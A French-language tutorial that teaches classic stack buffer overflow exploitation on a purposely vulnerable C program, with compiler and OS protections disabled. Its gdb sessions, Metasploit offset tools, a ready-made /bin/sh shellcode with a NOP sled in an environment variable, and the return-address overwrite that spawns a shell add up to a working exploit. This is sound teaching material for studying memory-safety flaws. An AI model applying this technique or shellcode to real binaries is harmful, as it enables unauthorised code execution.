Buffer Overflow

L'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon fingerd d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article Smashing The Stack For Fun And Profit publié dans Phrack.
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.

Pour commencer il est nécessaire de désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.

Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.

Prenons un programme d'exemple appelé buffer_overflow.c :

#include <stdio.h>
#include <stdlib.h>
 
void unused_function(void) {
   printf("Impossible => fonction non utilisee\n");
}
 
void f(const char *s) {
   int i = 1;
   char buffer[12];
   strcpy(buffer,s);
   printf("i = %u\n",i);
}
 
int main(int argc, char **argv) {
   if(argc != 2) {
      fprintf(stderr,"Usage: buffer_overflow chaine");
      exit(EXIT_FAILURE);
   }
   f(argv[1]);
 
   return EXIT_SUCCESS;
}

On voit clairement le problème dans ce programme à la ligne 11. Le buffer ne fait que 12 octets, et la commande strcpy (contrairement à la commande strncpy) ne vérifie pas la taille. Si la longueur de s est supérieure à 12 octets, on dépassera la taille de buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.

Regardons un peu l'exécution de ce programme :

# ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545

Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de i en l'écrasant, chose qui paraissait impossible vu le code source du programme.

# ./buffer_overflow $(ruby -e 'print "A"*50')

i = 1094795585

Erreur de segmentation (core dumped)

Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.

Regardons un peu ce qu'il se passe avec gdb :

time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis f
Dump of assembler code for function f:
   0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28
   0x080482ba <+6>: mov    DWORD PTR [ebp-0xc],0x1
   0x080482c1 <+13>: mov    eax,DWORD PTR [ebp+0x8]
   0x080482c4 <+16>: mov    DWORD PTR [esp+0x4],eax
   0x080482c8 <+20>: lea    eax,[ebp-0x18]
   0x080482cb <+23>: mov    DWORD PTR [esp],eax
   0x080482ce <+26>: call   0x80512a0 <strcpy>
   0x080482d3 <+31>: mov    eax,0x80ae90c
   0x080482d8 <+36>: mov    edx,DWORD PTR [ebp-0xc]
   0x080482db <+39>: mov    DWORD PTR [esp+0x4],edx
   0x080482df <+43>: mov    DWORD PTR [esp],eax
   0x080482e2 <+46>: call   0x8048e40 <printf>
   0x080482e7 <+51>: leave  
   0x080482e8 <+52>: ret    
End of assembler dump.
gdb$ b *0x080482ce   # On breakpoint avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
=> 0x80482ce : call   0x80512a0 <strcpy>
   0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11  strcpy(buffer,s)
gdb$ print &buffer
$1 = (char (*)[12]) 0xbffff230
gdb$ print &i
$2 = (int *) 0xbffff23c
gdb$ print 0xbffff23c - 0xbffff230
$3 = 0xc
gdb$ x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00
gdb$ c
=> 0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
   0x80482db : mov    DWORD PTR [esp+0x4],edx
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
gdb$ c
i = 0
Program exited normally.

On voit bien avant le strcpy la valeur de i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'\0 ajouté par strcpy. Un seul octet est écrasé : celui où il y avait 0x01. i passe donc à 0.

Lorsqu'on passe en argument 15 "A", on écrase la variable i avec 3 octets supplémentaires (donc 4 au total), i prend donc la valeur \x41\x41\x41\x00 soit la valeur 4276545 en little endian. La valeur 1094795585 ne correspond qu'à des \x41 sur tous les octets.

Remarque: Si nous avions inversé la déclaration des variables buffer et i, il n'aurait pas été possible de faire un overflow sur i, car elle aurait eu une adresse inférieure à buffer.

Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de i, le programme se plante. Si on se rappelle bien du fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.

time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
time0ut# gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
gdb$ info register eip     # ou sa version light : i r eip
eip            0x41414141 0x41414141

Notre registre EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur 0x41414141 soit AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de f.

time0ut# gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis unused_function
Dump of assembler code for function unused_function:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x18
   0x080482a6 <+6>: mov    DWORD PTR [esp],0x80ae8e8
   0x080482ad <+13>: call   0x8048fd0 <puts>
   0x080482b2 <+18>: leave  
   0x080482b3 <+19>: ret    
End of assembler dump.
gdb$ q
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)

Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur i, mais aussi la valeur de retour de f. Cette adresse pointe sur le printf de notre fonction unused_function. Lorsque f se termine, la valeur de retour devient 0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le printf de unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482e9 <+0>: push   ebp
   0x080482ea <+1>: mov    ebp,esp
   0x080482ec <+3>: and    esp,0xfffffff0
   0x080482ef <+6>: sub    esp,0x10
   0x080482f2 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080482f6 <+13>: je     0x804832c <main+67>
   0x080482f8 <+15>: mov    eax,ds:0x80ce624
   0x080482fd <+20>: mov    edx,eax
   0x080482ff <+22>: mov    eax,0x80ae914
   0x08048304 <+27>: mov    DWORD PTR [esp+0xc],edx
   0x08048308 <+31>: mov    DWORD PTR [esp+0x8],0x1d
   0x08048310 <+39>: mov    DWORD PTR [esp+0x4],0x1
   0x08048318 <+47>: mov    DWORD PTR [esp],eax
   0x0804831b <+50>: call   0x8048e70 <fwrite>
   0x08048320 <+55>: mov    DWORD PTR [esp],0x1
   0x08048327 <+62>: call   0x8048c20 <exit>
   0x0804832c <+67>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804832f <+70>: add    eax,0x4
   0x08048332 <+73>: mov    eax,DWORD PTR [eax]
   0x08048334 <+75>: mov    DWORD PTR [esp],eax
   0x08048337 <+78>: call   0x80482b4 <f>
   0x0804833c <+83>: mov    eax,0x0    # Adresse de retour de f
   0x08048341 <+88>: leave  
   0x08048342 <+89>: ret    
End of assembler dump.
gdb$ b *0x80482ce    # avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x80482d3    # après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 1, 0x080482ce in f  at buffer_overflow.c:11
gdb$ x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c   # eip a été sauvegardé ici
gdb$ n
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6   # On a modifié la valeur
gdb$ x/2i 0x080482a6
   0x80482a6 : mov    DWORD PTR [esp],0x80ae8e8
   0x80482ad : call   0x8048fd0 <puts>

La mémoire ressemble après le strcpy à cela :

Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de EIP, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise.
La distance séparant les variables locales d'une fonction à la sauvegarde du registre EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La façon dont a été compilé le programme enlève toutes les protections, cependant gcc peut ajouter du padding et c'est le cas ici.

On peut voir cela dans le prologue de la fonction de f :

0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28

40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.

Une technique plus élégante consiste à utiliser des utilitaires de metasploit : pattern_create.rb et pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de EIP.
Il suffit de passer la valeur de EIP à pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).

Merci à m_101 pour m'avoir fait découvrir ces outils sur son blog.

time0ut# /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
time0ut# gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0  0x62413961 in ?? ()
gdb$ q
time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28    # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)

C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.

Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.

Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :

#include <stdio.h>
#include <stdlib.h>
 
int main(int argc,char**argv) {
   char *addr;
   if(argc != 2) {
      printf("Usage: %s env_variable\n",argv[0]);
      exit(EXIT_FAILURE);
   }
   addr = getenv(argv[1]);
   if(addr == NULL) {
      printf("Environnement variable %s does not exist\n",argv[1]);
   } else {
      printf("%s is located at %p\n",argv[1],addr);
   }
 
   return EXIT_SUCCESS;
}

Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.

# ./get_env PATH
PATH is located at 0xbffffc15

Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm par exemple.

# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur 0x90. L'opcode 0x90 représente l'instruction NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des NOP pour que notre shellcode s'exécute (le programme passera de NOP en NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.

# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6

On connait donc grossièrement l'adresse du premier NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les NOP : 0xbffffce8 (0xbffffcb6 + 50).

Il ne nous reste plus qu'à écraser l'adresse sauvegardée de EIP sur la pile par cette adresse, pour que lors du retour de notre fonction f on exécute notre shellcode :

# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$

Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec gdb :

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8   # L'adresse a bien été réécrite
gdb$ x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d     # On est bien sur les NOP, donc c'est gagné
gdb$ x/5i 0xbffffce8
   0xbffffce8: nop
   0xbffffce9: nop
   0xbffffcea: nop
   0xbffffceb: nop
   0xbffffcec: nop
gdb$ x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90

L'adresse du premier NOP était en réalité en 0xbffffcab, alors que notre programme précédent nous avait donné 0xbffffcb6 (soit une différence de 11 octets). La technique des NOP nous a permis de passer outre cette approximation.